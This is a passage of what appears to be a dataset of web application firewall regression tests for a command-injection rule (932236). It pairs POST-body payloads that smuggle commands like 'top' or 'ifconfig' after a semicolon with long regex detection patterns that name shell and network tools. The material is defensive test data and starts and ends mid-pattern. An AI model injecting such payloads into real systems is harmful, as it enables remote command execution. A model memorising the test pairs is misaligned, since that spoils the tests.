:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|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path)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "System Command Injection (932236) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;top+Something+else+1+%26%238222%3BThe+Title%26%238221%3B.+After+space+or+new+line+more+characters" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0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\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "arg value of \";ifconfig Something „The Title”. After space or new line more characters\" is blocked" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+else+2+%26%238222%3BThe+Title%26%238221%3B.+After+%3Btop+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5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:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|